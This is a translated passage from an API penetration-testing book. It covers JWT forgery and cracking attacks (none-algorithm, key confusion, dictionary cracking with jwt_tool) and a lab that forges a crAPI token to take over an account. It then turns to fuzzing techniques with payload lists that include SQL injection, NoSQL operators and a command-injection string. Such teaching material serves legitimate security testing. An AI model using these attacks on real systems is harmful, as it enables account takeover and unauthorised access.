如果你捕获了另一个用户的 JWT,可以尝试将其发送给提供方,并冒充为你自己的令牌。令牌仍然有效的可能性是存在的,你可以像有效载荷中指定的用户一样访问 API。不过,更常见的是,你会在 API 注册后,提供方会响应一个 JWT。一旦你获得了 JWT,你将需要在所有后续请求中包括它。如果你使用浏览器,这个过程会自动发生。
识别与分析 JWT
你应该能够区分 JWT 与其他令牌,因为它们由三个由点分隔的部分组成:头部、有效载荷和签名。如以下 JWT 所示,头部和有效载荷通常以ey开头:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJoYWNrYXBpcy5pbyIsImV4cCI6IDE1ODM2Mzc0ODgsInVzZXJuYW1lIjoiU2N1dHRsZXBoMXNoIiwic3VwZXJhZG1pbiI6dHJ1ZX0.1c514f4967142c27e4e57b612a7872003fa6cbc7257b3b74da17a8b4dc1d2ab9
攻击 JWT 的第一步是解码并分析它。如果在侦察过程中发现了暴露的 JWT,可以将其粘贴到解码工具中,查看 JWT 的有效载荷是否包含任何有用的信息,例如用户名和用户 ID。你可能会运气好,获得一个包含用户名和密码组合的 JWT。在 Burp Suite 的解码器中,将 JWT 粘贴到上方窗口,选择Decode As,然后选择Base64选项(见图 8-13)。

图 8-13:使用 Burp Suite 解码器解码 JWT
头部是一个 Base64 编码的值,包含关于令牌类型和签名所用的哈希算法的信息。解码后的头部将如下所示:
{
"alg": "HS256"
"typ": "JWT"
}
在此示例中,哈希算法是使用 SHA256 的 HMAC。HMAC 主要用于提供类似数字签名的完整性检查。SHA256 是一种由 NSA 开发并于 2001 年发布的哈希加密函数。你可能还会看到另一种常见的哈希算法 RS256,或者 RSA 使用 SHA256,它是一种非对称哈希算法。如需更多信息,请查看微软 API 文档中的加密部分:docs.microsoft.com/en-us/dotnet/api/system.security.cryptography。
当 JWT 使用对称密钥系统时,消费者和提供者都需要拥有相同的密钥。而当 JWT 使用非对称密钥系统时,提供者和消费者将使用两个不同的密钥。理解对称和非对称加密的区别,将在执行 JWT 算法绕过攻击时给你带来帮助,该攻击将在本章后面介绍。
如果算法值是"none",则令牌没有使用任何哈希算法签名。稍后在本章中,我们将回到如何利用没有哈希算法的 JWT。
负载是令牌中包含的数据。负载中的字段根据 API 的不同而有所不同,但通常包含用于授权的信息,例如用户名、用户 ID、密码、电子邮件地址、令牌创建日期(通常称为 IAT)和权限级别。解码后的负载应如下所示:
{
"userID": "1234567890",
"name": "hAPI Hacker",
"iat": 1516239022
}
最后,签名是用于令牌验证的 HMAC 输出,并且是通过头部指定的算法生成的。为了创建签名,API 将头部和负载进行 base64 编码,然后应用哈希算法和一个密钥。密钥可以是密码或密钥串,例如 256 位密钥。如果没有密钥,JWT 的负载将保持编码状态。
使用 HS256 的签名将如下所示:
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
thebest1)
为了帮助你分析 JWT,可以通过以下命令使用 JSON Web Token 工具包:
$ **jwt_tool eyghbocibiJIUZZINIISIRSCCI6IkpXUCJ9.eyIzdW1101IxMjMENTY3ODkwIiwibmFtZSI6ImhBuEkgSGFja2VyIiwiaWFQIjoxNTE2MjM5MDIyfQ.IX-Iz_e1CrPrkel FjArExaZpp3Y2tfawJUFQaNdftFw**
Original JWT:
Decoded Token Values:
Token header values:
[+] alg - "HS256"
[+] typ - "JWT"
Token payload values:
[+] sub = "1234567890"
[+] name - "HAPI Hacker"
[+] iat - 1516239022 = TIMESTAMP - 2021-01-17 17:30:22 (UTC)
JWT common timestamps:
iat - Issuedat
exp – Expires
nbf - NotBefore
如你所见,jwt_tool使得头部和负载值变得清晰明了。
此外,jwt_tool还有一个“Playbook 扫描”,可以用来定位 Web 应用程序并扫描常见的 JWT 漏洞。你可以通过以下命令运行此扫描:
$ **jwt_tool -t http://target-site.com/ -rc "Header: JWT_Token" -M pb**
要使用此命令,你需要了解 JWT 头部应该是什么。当你掌握这些信息时,将"Header"替换为头部的名称,"JWT_Token"替换为实际的令牌值。
无签名攻击
如果你遇到一个使用"none"作为算法的 JWT,那你就发现了一个轻松的漏洞。解码令牌后,你应该能清楚地看到头部、负载和签名。从这里,你可以修改负载中包含的信息,任意更改。例如,你可以将用户名更改为可能是提供者管理员账户(如 root、admin、administrator、test 或 adm)使用的名称,如下所示:
{
"username": "root",
"iat": 1516239022
}
一旦你编辑了有效载荷,使用 Burp Suite 的 Decoder 对有效载荷进行 base64 编码;然后将其插入到 JWT 中。重要的是,由于算法设置为"none",任何存在的签名都可以被移除。换句话说,你可以移除 JWT 中第三个句点后的所有内容。将 JWT 发送给提供者并检查你是否获得了对 API 的未经授权的访问。
算法切换攻击
也有可能 API 提供者没有正确检查 JWT。如果是这种情况,我们可能能够欺骗提供者接受一个更改了算法的 JWT。
你首先应该尝试的事情之一是发送没有包含签名的 JWT。可以通过完全删除签名并保留最后一个句点来实现,如下所示:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJoYWNrYXBpcy5pbyIsImV4cCI6IDE1ODM2Mzc0ODgsInVzZXJuYW1lIjoiU2N1dHRsZXBoMXNoIiwic3VwZXJhZG1pbiI6dHJ1ZX0.
如果这不成功,尝试将算法头字段更改为"none"。解码 JWT,更新"alg"值为"none",然后对头部进行 base64 编码,并将其发送给提供者。如果成功,转到 None 攻击。
{
"alg": "none"
"typ": "JWT"
}
你可以使用 JWT_Tool 创建各种令牌,算法设置为"none":
$ **jwt_tool <JWT_Token> -X a**
使用此命令将自动创建多个 JWT,它们应用了不同形式的“无算法”。
比提供者接受没有算法的情况更可能的场景是他们接受多种算法。例如,如果提供者使用 RS256,但没有限制可接受的算法值,我们可以将算法更改为 HS256。这个方法很有用,因为 RS256 是非对称加密方案,这意味着我们需要提供者的私钥和公钥来准确地对 JWT 签名进行哈希。而 HS256 是对称加密,所以签名和令牌验证使用同一个密钥。如果你能发现提供者的 RS256 公钥,然后将算法从 RS256 切换为 HS256,可能有机会将 RS256 公钥作为 HS256 密钥来利用。
JWT_Tool 可以让这个攻击变得稍微简单一些。它使用以下格式jwt_tool <JWT_Token> -X k -pk public-key.pem,如下面所示。你需要将捕获的公钥保存为文件,存储在你的攻击机器上。
$ **jwt_tool eyJBeXAiOiJKV1QiLCJhbGciOiJSUZI1Ni 19.eyJpc3MiOi JodHRwOlwvxC9kZW1vLnNqb2VyZGxhbmdrzwiwZXIubmxcLyIsIm1hdCI6MTYYCJkYXRhIjp7ImhlbGxvijoid29ybGQifx0.MBZKIRF_MvG799nTKOMgdxva_S-dqsVCPPTR9N9L6q2_10152pHq2YTRafwACdgyhR1A2Wq7wEf4210929BTWsVk19_XkfyDh_Tizeszny_GGsVzdb103NCITUEjFRXURJ0-MEETROOC-TWB8n6wOTOjWA6SLCEYANSKWaJX5XvBt6HtnxjogunkVz2sVp3 VFPevfLUGGLADKYBphfumd7jkh80ca2lvs8TagkQyCnXq5VhdZsoxkETHwe_n7POBISAZYSMayihlweg -x k-pk public-key-pem**
Original JWT:
File loaded: public-key. pem
jwttool_563e386e825d299e2fc@aadaeec25269 - EXPLOIT: Key-Confusion attack (signing using the Public key as the HMAC secret)
(This will only be valid on unpatched implementations of JWT.)
[+] ey JoexAiOiJK1QiLCJhbGciOiJIUZI1NiJ9.eyJpc3MiOiJodHRwOi8vZGVtby5zam91cmRsYW5na2VtcGVyLmSsLyIsIm1hdCI6MTYyNTc4NzkzOSwizhlbGxvIjoid29ybGQifxo.gyti NhqYsSiDIn10e-6-6SfNPJle-9EZbJZjhaa30
一旦你运行了命令,JWT_Tool 将提供一个新的令牌,可以用于对抗 API 提供者。如果提供者存在漏洞,你将能够劫持其他令牌,因为你现在拥有签名令牌所需的密钥。尝试重复这个过程,这次基于其他 API 用户,尤其是管理员用户创建一个新令牌。
JWT 破解攻击
JWT 破解攻击试图破解 JWT 签名哈希使用的密钥,从而让我们完全控制创建自己有效 JWT 的过程。像这样的哈希破解攻击是离线进行的,不会与提供者进行交互。因此,我们不需要担心通过向 API 提供者发送数百万请求来造成混乱。
你可以使用 JWT_Tool 或像 Hashcat 这样的工具来破解 JWT 密钥。你将向哈希破解工具输入一个单词列表,哈希破解工具会将这些单词进行哈希处理,并将结果与原始哈希签名进行比较,以确定这些单词中是否有被用作哈希密钥。如果你正在进行长期的暴力破解,尝试所有字符的可能性,可能需要使用 Hashcat 所依赖的专用 GPU,而不是 JWT_Tool。不过,JWT_Tool 仍然可以在不到一分钟的时间内测试 1200 万个密码。
使用 JWT_Tool 进行 JWT 破解攻击时,请使用以下命令:
$ **jwt_tool****<JWT Token>****-C -d /wordlist.txt**
-C选项表示你将进行哈希破解攻击,-d选项指定你将用于破解哈希的字典或单词列表。在这个例子中,我的字典名为wordlist.txt,但你可以指定你想要使用的任何字典的目录和名称。JWT_Tool 将针对字典中的每个值返回“CORRECT key!”或者以“key not found in dictionary”表示破解失败。
总结
本章介绍了各种破解 API 认证、利用令牌以及专门攻击 JSON Web Tokens 的方法。当认证机制存在时,通常是 API 的首要防御机制,因此如果你的认证攻击成功,未经授权的访问就能成为进一步攻击的立足点。
实验 #5:破解 crAPI JWT 签名
返回到 crAPI 认证页面,尝试攻击认证过程。我们知道,这个认证过程分为三个部分:账户注册、密码重置功能和登录操作。所有这三部分都应该经过充分测试。在本实验中,我们将重点攻击成功认证后提供的令牌。
如果你记得你的 crAPI 登录信息,可以直接登录。(如果记不得,可以注册一个新账户。)确保 Burp Suite 已打开,且 FoxyProxy 已设置为将流量代理到 Burp,这样你就可以拦截登录请求。然后将拦截到的请求转发给 crAPI 提供商。如果你正确输入了电子邮件和密码,应该会收到 HTTP 200 响应和一个 Bearer 令牌。
希望你现在已经注意到 Bearer 令牌的特别之处。没错,它被分为三个部分,且由句点分隔,前两部分都以ey开头。我们有了一个 JSON Web 令牌!让我们开始使用像jwt.io或 JWT_Tool 之类的站点来分析 JWT。为了方便视觉展示,图 8-14 展示了 JWT.io 调试器中的令牌。

图 8-14:在 JWT.io 调试器中分析捕获到的 JWT
如您所见,JWT 头部告诉我们算法设置为 HS512,这是一种比之前介绍的更强大的哈希算法。此外,载荷包含一个 "sub" 值,其中有我们的电子邮件。载荷还包含两个用于令牌过期的值:iat 和 exp。最后,签名确认正在使用 HMAC+SHA512,并且需要一个密钥来签署 JWT。
接下来的自然步骤是进行 None 攻击,尝试绕过哈希算法。我会留给你自己探索这部分内容。我们不会尝试其他算法切换攻击,因为我们已经在攻击一个对称密钥加密系统,因此切换算法类型在这里不会带来好处。这就剩下执行 JWT Crack 攻击了。
要对捕获的令牌进行 Crack 攻击,请从拦截到的请求中复制令牌。打开终端并运行 JWT_Tool。作为第一次攻击,我们可以使用 rockyou.txt 文件作为字典:
$ **jwt_tool eyJhbGciOiJIUZUxMi19.eyJzdWIiOiJhQGVtYWlsLmNvbSIsImlhdCI6MTYYNTC4NzA4MywiZXhwIjoxNjI10DCzNDgzfQ. EYx8ae40nE2n9ec4yBPI6Bx0z0-BWuaUQVJg2Cjx_BD_-eT9-Rpn87IAU@QM8 -C -d rockyou.txt**
Original JWT:
[*] Tested 1 million passwords so far
[*] Tested 2 million passwords so far
[*] Tested 3 million passwords so far
[*] Tested 4 million passwords so far
[*] Tested 5 million passwords so far
[*] Tested 6 million passwords so far
[*] Tested 7 million passwords so far
[*] Tested 8 million passwords so far
[*] Tested 9 million passwords so far
[*] Tested 10 million passwords so far
[*] Tested 11 million passwords so far
[*] Tested 12 million passwords so far
[*] Tested 13 million passwords so far
[*] Tested 14 million passwords so far
[-] Key not in dictionary
在本章开头,我提到过 rockyou.txt 已经过时,因此它可能无法带来任何成功。让我们尝试集思广益,找出一些可能的秘密,并将它们保存到我们自己的 crapi.txt 文件中(见 表 8-1)。你也可以使用密码分析工具生成类似的列表,正如本章早些时候推荐的那样。
表 8-1: 潜在的 crAPI JWT 秘密
| Crapi2020 | OWASP | iparc2022 |
|---|---|---|
| crapi2022 | owasp | iparc2023 |
| crAPI2022 | Jwt2022 | iparc2020 |
| crAPI2020 | Jwt2020 | iparc2021 |
| crAPI2021 | Jwt_2022 | iparc |
| crapi | Jwt_2020 | JWT |
| community | Owasp2021 | jwt2020 |
现在使用 JWT_Tool 运行这个针对性的哈希破解攻击:
$ **jwt_tool eyJhbGciOiJIUzUxMi19.eyJzdwiOiJhQGVtYWlsLmNvbSIsImlhdCI6MTYYNTC4NzA4MywiZXhwIjoxNjI10DCzNDgzfQ. EYx8ae40nE2n9ec4yBPi6Bx0z0-BWuaWQVJg2Cjx_BD_-eT9-Rp 871Au@QM8-wsTZ5aqtxEYRd4zgGR51t5PQ -C -d crapi.txt**
Original JWT:
[+] crapi is the CORRECT key!
You can tamper/fuzz the token contents (-T/-I) and sign it using:
python3 jwt_tool.py [options here] -5 HS512 -p "crapi"
太棒了!我们已经发现 crAPI JWT 秘密是 "crapi"。
这个密钥并不是特别有用,除非我们有其他有效用户的电子邮件地址,这样我们才能伪造他们的令牌。幸运的是,我们在第七章实验的结尾已经完成了这项工作。让我们看看能否获得对机器人账户的未授权访问。如图 8-15 所示,我们使用 JWT.io 为 crAPI 机器人账户生成了一个令牌。

图 8-15: 使用 JWT.io 生成令牌
别忘了,这个令牌的算法值是 HS512,你需要将 HS512 密钥添加到签名中。令牌生成后,你可以将其复制到已保存的 Postman 请求中,或者使用 Burp Suite 的 Repeater 发送请求,然后发送到 API。如果成功,你将劫持 crAPI 机器人账户。祝贺!
第十章:模糊测试

在本章中,你将探索使用模糊测试技术来发现第三章中讨论的几个顶级 API 漏洞。成功发现大多数 API 漏洞的关键是知道在哪些地方进行模糊测试,以及用什么进行模糊测试。实际上,你很可能通过对 API 端点发送输入的模糊测试发现许多 API 漏洞。
使用 Wfuzz、Burp Suite Intruder 和 Postman 的 Collection Runner,我们将介绍两种提高成功率的策略:广泛模糊测试和深度模糊测试。我们还将讨论如何通过模糊测试寻找不当的资产管理漏洞,找到请求的接受 HTTP 方法,并绕过输入净化。
有效的模糊测试
在前几章中,我们将 API 模糊测试定义为向端点发送各种类型的输入请求,以引发非预期的结果。虽然“各种类型的输入”和“非预期的结果”听起来可能有些模糊,但这仅仅是因为可能性太多。你的输入可能包括符号、数字、表情符号、小数、十六进制、系统命令、SQL 输入和 NoSQL 输入等。例如,如果 API 没有实施验证检查来处理有害输入,你可能会得到冗长的错误、独特的响应,或者(最坏的情况)某种内部服务器错误,表明你的模糊测试导致了服务拒绝,导致应用程序崩溃。
成功的模糊测试需要仔细考虑应用程序可能的期望。例如,考虑一个银行 API 调用,目的是允许用户从一个账户转账到另一个账户。该请求可能看起来像这样:
POST /account/balance/transfer
Host: bank.com
x-access-token: hapi_token
{
"userid": 12345,
"account": 224466,
"transfer-amount": 1337.25,
}
要对这个请求进行模糊测试,你可以轻松地设置 Burp Suite 或 Wfuzz 提交巨大的有效载荷作为 userid、account 和 transfer-amount 的值。然而,这可能会触发防御机制,导致更强的速率限制或你的令牌被封锁。如果 API 没有这些安全控制,尽管放开手脚去做。否则,你最好的选择是一次只向其中一个值发送几个有针对性的请求。
请考虑 transfer-amount 值可能期望一个相对较小的数字。Bank.com 并不预计用户会转账超过全球 GDP 的金额。它也很可能期望一个小数值。因此,你可能想评估发送以下内容时会发生什么:
-
数值达到千万亿
-
字母串而非数字
-
一个大数值或负数
-
空值,如
null、(null)、%00和0x00 -
类似以下符号:
!@#$%^&*();':''|,./?>
这些请求可能会导致冗长的错误信息,暴露更多关于应用程序的细节。数值达到千万亿时,还可能导致未处理的 SQL 数据库错误作为响应返回。这一条信息可能帮助你识别 API 中的 SQL 注入漏洞。
因此,模糊测试的成功将取决于你进行模糊测试的位置以及你使用的模糊测试内容。关键是寻找 API 输入,这些输入供消费者与应用程序交互,并发送可能导致错误的输入。如果这些输入没有足够的输入处理和错误处理,它们通常会导致漏洞利用。这类 API 输入的示例包括用于认证表单、账户注册、上传文件、编辑 Web 应用内容、编辑用户信息、编辑账户信息、用户管理、搜索内容等请求中涉及的字段。
发送的输入类型实际上取决于你攻击的输入类型。一般来说,你可以发送各种符号、字符串和数字,这些可能会导致错误,然后你可以根据收到的错误来调整攻击方法。以下所有内容都可能导致有趣的响应:
-
当预期为小数字时发送异常大的数字
-
发送数据库查询、系统命令和其他代码
-
当预期为数字时发送一串字母
-
当预期为短字符串时发送一串长字母
-
发送各种符号(
-_\!@#$%^&*();':''|,./?>) -
发送来自意外语言的字符(漢, さ, Ж, Ѫ, Ѭ, Ѧ, Ѩ, Ѯ)
如果在模糊测试过程中被阻止或禁止,你可能需要部署第十三章中讨论的规避技术,或者进一步限制你发送的模糊请求数量。
选择模糊测试有效负载
不同的模糊测试有效负载可以引发不同类型的响应。你可以使用通用的模糊测试有效负载,也可以使用更有针对性的模糊测试有效负载。通用有效负载是我们到目前为止讨论的内容,包含符号、空字节、目录遍历字符串、编码字符、大数字、长字符串等。
针对性模糊测试有效负载旨在针对特定技术和漏洞类型引发响应。针对性模糊测试有效负载可能包括 API 对象或变量名称、跨站脚本(XSS)有效负载、目录、文件扩展名、HTTP 请求方法、JSON 或 XML 数据、SQL 或 NoSQL 命令,或者特定操作系统的命令。在本章及未来章节中,我们将介绍使用这些有效负载的模糊测试示例。
通常,你会根据 API 响应中收到的信息,从通用模糊测试转向更具针对性的模糊测试。类似于第六章中的侦察工作,你需要根据通用测试的结果调整模糊测试并集中精力。知道使用的技术后,针对性的模糊测试有效性更强。如果你向一个只使用 NoSQL 数据库的 API 发送 SQL 模糊测试有效负载,那么你的测试将不会那么有效。
模糊测试负载的最佳来源之一是 SecLists(github.com/danielmiessler/SecLists)。SecLists 有一个专门的模糊测试部分,其big-list-of-naughty-strings.txt词表在引发有用响应方面表现出色。fuzzdb 项目是另一个很好的模糊测试负载来源(github.com/fuzzdb-project/fuzzdb)。此外,Wfuzz 也有许多有用的负载(github.com/xmendez/wfuzz),其中包括一个很棒的列表,结合了多个目标负载,位于其注入目录中,名为All_attack.txt。
此外,你可以快速轻松地创建自己的通用模糊测试负载列表。在文本文件中,结合符号、数字和字符,将每个负载作为以换行符分隔的条目创建,像这样:
-
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -
9999999999999999999999999999999999999999 -
~'!@#$%^&*()-_+ -
{}[]|\:''; '<>?,./ -
%00 -
0x00 -
$ne -
%24ne -
$gt -
%24gt -
|whoami -
-- - -
' '' -
' OR 1=1-- - -
'' '''''' -
漢, さ, Ж, Ѫ, Ѭ, Ѧ, Ѩ, Ѯ -
😀 😃 😄 😁 😆
请注意,与你使用 40 个A或9的情况不同,你可以编写包含成百上千个这些字符的负载。像这样的简单列表作为模糊测试负载,可能会从 API 中引发各种有用和有趣的响应。
检测异常
在进行模糊测试时,你的目标是让 API 或其支持的技术发送信息给你,这些信息可以被用来进行进一步的攻击。当 API 请求负载被正确处理时,你应该收到某种 HTTP 响应代码和消息,表明你的模糊测试未能成功。例如,当预期接收数字时,发送一串字母可能会导致如下简单的响应:
HTTP/1.1 400 Bad Request
{
"error": "number required"
}
从这个响应中,你可以推断出开发者已配置 API 来正确处理像你这样的请求,并准备了一个定制的响应。
当输入未正确处理并导致错误时,服务器通常会在响应中返回该错误。例如,如果你向一个处理不当的端点发送了类似~'!@#$%^&*()-_+的输入,你可能会收到类似下面的错误:
HTTP/1.1 200 OK
`--snip--`
SQL Error: There is an error in your SQL syntax.
这个响应立刻揭示了你正在与一个未正确处理输入的 API 请求交互,并且该应用程序的后端正在使用 SQL 数据库。
通常,你将分析数百或数千个响应,而不仅仅是两个或三个。因此,你需要过滤响应以便检测异常。做到这一点的一种方法是了解普通响应的样子。你可以通过发送一组预期的请求来建立这个基准,或者如你稍后在实验中看到的那样,发送你预计会失败的请求。然后,你可以查看结果,看看大多数是否是相同的。例如,如果你发出 100 个 API 请求,其中 98 个返回 HTTP 200 响应码且响应大小相似,你可以将这些请求视为基准。同时,检查一些基准响应的内容,以了解它们的内容。一旦你知道基准响应已被正确处理,再检查两个异常响应。找出导致差异的输入,特别关注 HTTP 响应码、响应大小和响应内容。
在某些情况下,基准请求和异常请求之间的差异可能微乎其微。例如,HTTP 响应码可能完全相同,但某些请求的响应大小可能比基准响应大几字节。当出现这样的小差异时,使用 Burp Suite 的比较器来进行响应差异的并排比较。右键点击你感兴趣的结果并选择发送到比较器(响应)。你可以将任意多个响应发送到比较器,但至少需要发送两个。然后切换到比较器标签,如图 9-1 所示。

图 9-1:Burp Suite 的比较器
选择你想要比较的两个结果,并使用比较单词按钮(位于窗口右下角)来显示响应的并排比较(参见图 9-2)。

图 9-2:使用比较器比较两个 API 响应
一个位于右下角的有用选项,称为“同步视图”(Sync Views),将帮助你同步两个响应。当你在寻找大响应中的细微差异时,Sync Views 特别有用,因为它会自动突出显示两个响应之间的差异。这些高亮标记表示差异是否已被修改、删除或添加。
模糊测试广泛与深入
本节将向你介绍两种模糊测试技术:广泛模糊测试和深入模糊测试。广泛模糊测试是指将输入发送到 API 的所有独特请求,以尝试发现漏洞。深入模糊测试是指对单个请求进行彻底测试,使用各种输入替换请求中的头部、参数、查询字符串、端点路径和请求体。你可以将广泛模糊测试理解为测试一英里宽但只有一英寸深,而深入模糊测试则是测试一英寸宽但有一英里深。
广泛和深入的模糊测试可以帮助你充分评估大型 API 的每个功能。当你进行黑客攻击时,你会很快发现 API 的规模差异很大。某些 API 可能只有几个端点和少数独特的请求,因此你可以通过发送少量请求轻松进行测试。然而,一个 API 可能有许多端点和独特的请求。此外,单个请求可能包含许多头部和参数。
这就是两种模糊测试技术发挥作用的地方。广泛模糊测试最适合用于测试所有独特请求中的问题。通常,你可以使用广泛模糊测试来检测不当的资产管理(稍后在本章中详细讨论),查找所有有效的请求方法、令牌处理问题和其他信息泄露漏洞。深入模糊测试最适合用于测试单个请求的多个方面。其他大多数漏洞发现将通过深入模糊测试完成。在后续章节中,我们将使用深入模糊测试技术发现不同类型的漏洞,包括 BOLA、BFLA、注入漏洞和批量赋值漏洞。
使用 Postman 进行广泛模糊测试
我推荐使用 Postman 进行广泛的模糊测试,以检查 API 中的漏洞,因为该工具的集合运行器使得对所有 API 请求进行测试变得容易。如果一个 API 包含 150 个独特的请求,你可以设置一个变量为模糊测试载荷,并在所有 150 个请求中进行测试。当你已经构建了一个集合或将 API 请求导入到 Postman 时,这样做尤其简单。例如,你可以使用此策略来测试是否有任何请求未能处理各种“坏”字符。发送一个单一的载荷到整个 API,并检查是否有异常。
创建一个 Postman 环境,用于保存一组模糊测试变量。这样,你就可以无缝地将环境变量从一个集合传递到下一个集合。一旦设置了模糊测试变量,就像在图 9-3 中所示,你可以保存或更新该环境。
在右上角选择模糊测试环境,然后在任何你希望测试值的地方使用变量快捷方式 {{``变量名``}}。在图 9-4 中,我将 x-access-token 头部替换为第一个模糊测试变量。

图 9-3:在 Postman 环境编辑器中创建模糊测试变量

图 9-4:对集合令牌头进行模糊测试
此外,你还可以替换 URL 中的部分内容、其他头部,或你在集合中设置的任何自定义变量。然后,你使用集合运行器来测试集合中的每个请求。
另一个在广泛模糊测试时有用的 Postman 特性是“查找和替换”,它位于 Postman 左下角。查找和替换让你搜索集合(或所有集合),并将某些术语替换为你选择的替代项。例如,如果你正在攻击 Pixi API,你可能会注意到许多占位符参数使用像 <email>、<number>、<string> 和 <boolean> 这样的标签。这使得搜索这些值并将其替换为合法值或你的一些模糊测试变量(如 {{fuzz1}})变得非常容易。
接下来,尝试在“Tests”面板中创建一个简单的测试,帮助你检测异常。例如,你可以设置第四章中提到的测试,检查集合中的所有请求是否返回状态码 200:
pm.test("Status code is 200", function () {
pm.response.to.have.status(200);
});
在这个测试中,Postman 将检查响应是否返回状态码 200,当响应为 200 时,它将通过测试。你可以通过将 200 替换为你喜欢的状态码来轻松定制这个测试。
启动集合运行器有几种方式。你可以点击 Runner Overview 按钮、集合旁边的箭头,或点击 Run 按钮。如前所述,你需要通过发送没有值或预期值的请求到目标字段,来开发一个正常响应的基线。获得这样的基线的一种简单方法是取消勾选 Keep Variable Values 复选框。关闭此选项后,变量将在第一次集合运行时不会被使用。
当我们使用原始请求值运行这个示例集合时,13 个请求通过了状态码测试,5 个请求失败了。这并不奇怪。失败的 5 次尝试可能缺少参数或其他输入值,或者它们的响应代码不是 200。在我们没有做额外修改的情况下,这个测试结果可以作为基准。
现在让我们尝试对集合进行模糊测试。确保你的环境设置正确,响应已保存以供审查,Keep Variable Values 选项已选中,并且任何生成新令牌的响应都已禁用(我们可以使用深度模糊测试技术测试这些请求)。在 图 9-5 中,你可以看到这些设置已应用。

图 9-5:Postman 集合运行器结果
运行集合后,查看是否有偏离基准响应的情况。还要注意请求行为的变化。例如,当我们使用值Fuzz1('OR 1=1-- -)运行请求时,集合运行器通过了三次测试,然后未能处理任何额外请求。这表明 Web 应用程序对第四个请求中的模糊尝试产生了问题。虽然我们没有收到有趣的响应,但行为本身表明你可能发现了一个漏洞。
一旦你循环完成一次集合运行,更新模糊值为下一个你想测试的变量,执行另一次集合运行,并比较结果。你可以通过在 Postman 中广泛进行模糊测试来发现几个漏洞,比如不当的资产管理、注入漏洞以及其他可能导致更有趣发现的信息泄露。当你耗尽了广泛模糊测试的尝试或发现了有趣的响应时,是时候将测试转向深入模糊测试了。
使用 Burp Suite 进行深入模糊测试
当你想要深入分析特定请求时,应该进行深入模糊测试。这项技术对于彻底测试每个单独的 API 请求尤其有用。对于这个任务,我建议使用 Burp Suite 或 Wfuzz。
在 Burp Suite 中,你可以使用 Intruder 对每个头部、参数、查询字符串和端点路径进行模糊测试,以及请求体中包含的任何项。例如,在如图 9-6 所示的 Postman 请求中,请求体包含许多字段,你可以进行深入的模糊测试,将成百上千的模糊输入传入每个值,以查看 API 如何响应。

图 9-6:Postman 中的 PUT 请求
虽然你最初可能在 Postman 中构建请求,但确保将流量代理到 Burp Suite。启动 Burp Suite,配置 Postman 的代理设置,发送请求,并确保它已被拦截。然后将其转发到 Intruder。使用负载位置标记,选择每个字段的值,将负载列表作为每个值发送。狙击攻击会将单一的字典列表循环通过每个攻击位置。初步模糊攻击的负载可能类似于本章“选择模糊负载”部分描述的列表。
在开始之前,考虑请求的字段是否期望某些特定的值。例如,查看以下 PUT 请求,其中标签(< >)表明 API 配置为期望某些值:
PUT /api/user/edit_info HTTP/1.1
Host: 192.168.195.132:8090
Content-Type: application/json
x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI...
`--snip--`
{
"user": "§<email>§",
"pass": "§<string>§",
"id": "§<number>§",
"name": "§<string>§",
"is_admin": "§<boolean>§",
"account_balance": "§<number>§"
}
当你进行模糊测试时,始终值得请求意外的内容。如果一个字段期望电子邮件,发送数字。如果它期望数字,发送字符串。如果它期望一个小字符串,发送一个巨大的字符串。如果它期望布尔值(true/false),发送其他任何内容。另一个有用的技巧是发送预期值并在该值后添加一个模糊测试尝试。例如,电子邮件字段是相当可预测的,开发人员通常会对输入验证进行严格检查,以确保你发送的是有效的电子邮件。因为是这种情况,当你对电子邮件字段进行模糊测试时,你可能会收到相同的响应:“无效的电子邮件”。在这种情况下,检查如果你发送一个看起来有效的电子邮件,并在其后添加模糊测试有效载荷会发生什么。这将看起来像这样:
"user": "hapi@hacker.com§test§"
如果你收到相同的响应(“无效的电子邮件”),很可能是时候尝试不同的有效载荷或转到其他字段了。
在进行深度模糊测试时,注意你将发送多少请求。一个包含 12 个有效载荷、跨 6 个有效载荷位置的狙击攻击将导致 72 个总请求。这是一个相对较小的请求数量。
当你收到结果时,Burp Suite 提供了一些工具来帮助检测异常。首先,按列组织请求,例如状态码、响应长度和请求编号,这些都能提供有用的信息。此外,Burp Suite Pro 允许你按搜索词进行筛选。
如果你注意到一个有趣的响应,选择该结果并选择响应标签,分析 API 提供方如何响应。在图 9-7 中,使用有效载荷 {}[]|\:";'<>?,./ 对任何字段进行模糊测试,结果是 HTTP 400 响应代码和响应 SyntaxError: Unexpected token in JSON at position 32。

图 9-7:Burp Suite 攻击结果
一旦你得到像这样的有趣错误,你可以改进有效载荷,以精确确定导致错误的原因。如果你找出导致问题的确切符号或符号组合,尝试将其他有效载荷与其配对,看看能否获得更多有趣的响应。例如,如果返回的响应指示数据库错误,你可以使用针对这些数据库的有效载荷。如果错误指示操作系统或特定的编程语言,使用针对它的有效载荷。在这种情况下,错误与意外的 JSON 令牌有关,因此看到该端点如何处理 JSON 模糊测试有效载荷,以及当添加更多有效载荷时会发生什么,将会很有趣。
使用 Wfuzz 进行深度模糊测试
如果你使用的是 Burp Suite CE,Intruder 会限制你发送请求的速率,因此在发送大量有效负载时,你应该使用 Wfuzz。最初,使用 Wfuzz 发送一个大的 POST 或 PUT 请求可能会让人感到有些复杂,因为你需要在命令行中正确地添加大量信息。然而,只要掌握几个技巧,你应该能够在 Burp Suite CE 和 Wfuzz 之间来回切换,而不会遇到太多挑战。
Wfuzz 的一个优点是它比 Burp Suite 快得多,因此我们可以增加有效负载的大小。以下示例使用了一个名为 big-list-of-naughty-strings.txt 的 SecLists 有效负载,其中包含超过 500 个值:
$ **wfuzz -z file,/home/hapihacker/big-list-of-naughty-strings.txt**
让我们一步步构建 Wfuzz 命令。首先,为了匹配前一节中讨论的 Burp Suite 示例,我们需要包含 Content-Type 和 x-access-token 头,以便从 API 获取认证后的结果。每个头部通过 -H 选项指定,并用引号括起来。
$ **wfuzz -z file,/home/hapihacker/big-list-of-naughty-strings.txt -H "Content-Type: application/json" -H "x-access-token: [...]"**
接下来,请注意请求方法是 PUT。你可以通过 -X 选项指定它。此外,为了过滤掉状态码为 400 的响应,可以使用 --hc 400 选项:
$ **wfuzz -z file,/home/hapihacker/big-list-of-naughty-strings.txt -H "Content-Type: application/json" -H "x-access-token: [...]" -p 127.0.0.1:8080:HTTP --hc 400 -X PUT**
